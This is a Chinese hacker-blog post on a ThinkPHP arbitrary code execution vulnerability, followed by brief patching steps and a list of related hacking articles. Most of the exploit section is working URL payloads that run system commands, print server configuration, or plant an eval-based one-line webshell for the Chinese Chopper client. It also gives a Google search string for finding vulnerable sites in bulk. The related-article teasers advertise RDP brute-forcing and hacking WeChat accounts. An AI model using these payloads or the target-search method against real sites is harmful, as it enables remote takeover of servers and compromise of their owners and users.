Thinkphp框架任意代码执行漏洞利用及修复

hacker4年前黑客文章1329

ThinkPHP是一个开源的PHP框架, 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和 *** P的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.

最近thinkphp框架爆出了一个任意代码执行漏洞,其威胁程序相当的高,漏洞利用 *** 如下:

index.php/module/aciton/param1/${@print(THINK_VERSION)}
index.php/module/aciton/param1/${@function_all()}
其中function_all代表任何函数,比如:
index.php/module/aciton/param1/${@phpinfo()}
获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al
列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}
直接执行一句话代码,用菜刀直接连接.
有时候连接不上的话需要修改一下后面的一句话用print()函数打印出来,如下:
index.php/module/action/param1/$%7B@print(eval($_POST[c]))%7D
黑阔可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。

thinkphp框架执行任意代码漏洞修复 *** :
用户可下载官方发布的补丁:http://www.nxadmin.com/tools/ThinkPHP_20120323_security_patch.zip 修正 *** :

首先解压缩安全补丁文件。

2.1和2.2版本
替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Think/Util/目录下的同名文件

3.0版本
替换补丁包中的Dispatcher.class.php 文件到 ThinkPHP/Lib/Core/目录下面的同名文件
替换补丁包中的CheckRouteBehavior.class.php 文件到 ThinkPHP/Lib/Behavior/目录下面的同名文件
标签: 黑客技术

相关文章

3389爆破服务器技术全过程与原理

其实爆破服务器很简单的,也是必学的。 3389是一个远程桌面的端口,很多人为了更方便管理服务器,更新服务器上的资源等,经常会开启3389端口,用nastat-an命令可以查看该端口的开启。对...

一张搜集二级域名的思维脑图

一张搜集二级域名的思维脑图

网络黑客的渗入方式,实际上压根来自安全性的木桶原理。 决策一个公司的网络信息安全,在于安全性结构加固最少的那片木工板。 网络黑客通常会对企业安全生产里最少的那片木工板着手。 网络黑客在渗入的情况下,...

教你如何入侵别人微信,黑客厉害程度堪比电影

公共互联网威胁的定量评估。微信公共互联网威胁量化是一项为企业提供实时、客观的网络安全风险量化风险评估服务。通过微信小程序,可以直观地呈现企业网络安全指标、安全等级、详细安全问题等信息。 它不仅反映了...

黑客技术,黑客找赌博人合作

黑客技术,黑客找赌博人合作

一、技术黑客接单流程 1、接单方法他们不信任自愿合作和信息分享他们只喜欢控制的合作。技术找赌博人合作黑客在别人眼中是一件坏事,但黑客只是一个喜欢追求技术突破的人。他们擅长入侵、破解、攻击、社会攻击等等...

专用工具完全免费使用方法

专用工具完全免费使用方法

什么叫Beef? 电脑浏览器开发框架(Beef)是另一个很好的热门专业安全工器具。该专用工具将为网站渗透测试员发展技术性出示工作经验,与别的专用工具不一样,Beef致力于运用电脑浏览器系统漏洞来查验...

OSSIM是完全免费的吗?

OSSIM是完全免费的吗?

什么叫OSSIM? OSSIM出示安全性专业人员从SIEM商品中出示的全部作用 - 恶性事件搜集,归一化和关联性。OSSIM是由注安师建立和发布的,不但必须掌握,并且掌握到很多安全性专业人员遭遇的实...